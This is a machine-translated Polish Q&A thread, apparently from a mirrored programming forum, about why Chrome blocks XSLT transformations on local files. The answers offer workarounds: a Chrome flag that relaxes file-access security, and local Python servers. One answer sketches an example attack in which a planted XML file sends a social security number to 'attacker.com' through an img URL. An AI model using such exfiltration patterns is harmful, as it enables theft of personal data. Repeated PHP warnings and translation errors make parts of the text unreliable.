Czy Chrome może wykonać transformację XSL na pliku lokalnym?
Szukałem xslt i zacząłem testować z przykładami na w3schools.
Jednak, gdy zapiszę xml i xsl w plikach i spróbuję otworzyć je lokalnie, chrome nie wykona transformacji xsl. Pokazuje tylko pustą stronę.
Dodałem tag <?xml-stylesheet type="text/xsl" href="style.xsl">
do dokumentu xml i firefox renderuje go tak, jak powinien wyglądać. Ponadto, jeśli patrzę na pliki przez serwer WWW, chrome wyświetla plik tak, jak powinien wyglądać.
Czy chrome ma problem znajdowanie informacji o arkuszu stylów, gdy link jest lokalny? Zmiana href na file:///C:/xsl/style.xsl
nie zrobiła żadnej różnicy.
Update: to wydaje się być efektem ubocznym polityki bezpieczeństwa , aby nie traktować pliku:///* jako tego samego pochodzenia. powoduje to, że w konsoli pojawia się następujący błąd:
Niebezpieczna próba załadowania pliku URL: / / / C: / xsl-RPG / style.xsl z ramki z plikiem URL: / / / C: / xsl-RPG / data.xml. Domeny, protokoły i porty muszą się zgadzać.
5 answers
Krótka odpowiedź to "nie, użyj jednego z różnych zestawów przeglądarek tam".
Powodem, dla którego to nie działa, jest troska o bezpieczeństwo, którą Chrome rozwiązał w kontrowersyjny sposób[1][2][3][4], blokując pliki XML w dostępie do lokalnych plików XSLT w tym samym katalogu, podczas gdy pliki HTML mogą mieć dostęp .Pliki CSS w tym samym katalogu po prostu dobrze.
W wyżej wymienionych kwestiach użytkownicy pytali aby uzyskać jaśniejszy komunikat o błędzie (ponieważ domeny, protokoły i porty faktycznie się zgadzają), lub przynajmniej wyświetlanie XML bez stylizacji. Deweloperzy Chrome zignorowali te żądania.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2013-12-25 04:18:52
Możesz to zrobić lokalnie, używając FLAG wiersza poleceń Chrome.
Konkretna flaga to --allow-file-access-from-files
Na OS X: z terminala.app run /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
W systemie Windows: z wiersza polecenia Uruchom %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
Uwaga: prawdopodobnie będziesz musiał zamknąć Chrome, jeśli jest aktualnie uruchomiony, w przeciwnym razie Ch
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2015-10-27 18:28:08
Jeśli chcesz trzymać się OP, odpowiedź brzmi nie (jak zauważyli inni), ale jednym ze sposobów rozwiązania problemu jest uruchomienie prostego serwera WWW i otwieranie plików przez http w chrome. Jeśli masz Pythona 2.X zainstalowany, można uruchomić serwer WWW wpisując:
python -m SimpleHTTPServer
Lub w Pythonie 3.x:
python3 -m http.server
A następnie otwórz plik używając http://localhost:8000/yourfile.xml
w chrome. Mam nadzieję, że po prostu chcesz wykonać swoją pracę i nie jest to kluczowa rzecz, aby otworzyć plik za pomocą file://
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2017-02-26 21:39:14
Trzeba było trochę rozszyfrować na stronie błędów Chrome - bardzo chętnie nie wyjaśniają, na czym polega problem i dlaczego wybrali łamanie wszystkich, a nie nie łamanie wszystkich.
Załóżmy, że mam plik XML - gdzieś - na moim dysku twardym, np.:
C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml
I złośliwy byt - jakoś - zdołał upuścić złośliwy plik Xml na mój komputer, np.:
C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml
Imagine TrojanVirusWorm.xml zawiera instrukcję przetwarzania arkusza stylów (PI):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
Atakujący poleca następnie przeglądarce przejście do lokalnie zapisanego pliku trojanVirusWorm.xml
.
Najwyraźniej istnieje sposób, że plik XML może odczytać Zawartość pliku XSD (zamiast być przekształcany przez plik XSD):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
<!--And then a miracle happens, and this XML file is able to read
the contents of the stylesheet xml file-->
<html>
<img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>
Nie rozumiem jak plik XML może odczytać plik arkusza stylów. Ale zespół Chrome zapewnia nas, że jest to zagrożenie i że nie można go rozwiązać.
Każda inna przeglądarka to rozwiązała. Rozwiązali to , ponieważ to nie jest problem .Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2015-12-23 16:32:23
Moje obejście, aby zobaczyć xml zgodnie z plikiem xsl
Załóżmy, że mamy jakiś plik.xml z nagłówkami:
<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
- pobieramy plik
https://some-site.com/Common.xsl
i umieszczamy go oboksome_file.xml
- Zmień część naszego nagłówka z
href="https://some-site.com/Common.xsl"
nahref="http://localhost:8001/Common.xsl"
- Uruchom w katalogu z naszymi plikami -
python3 -m http.server 8001
- Otwórz w dowolnej przeglądarce
http://localhost:8001/some_file.xml
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2018-06-27 11:52:26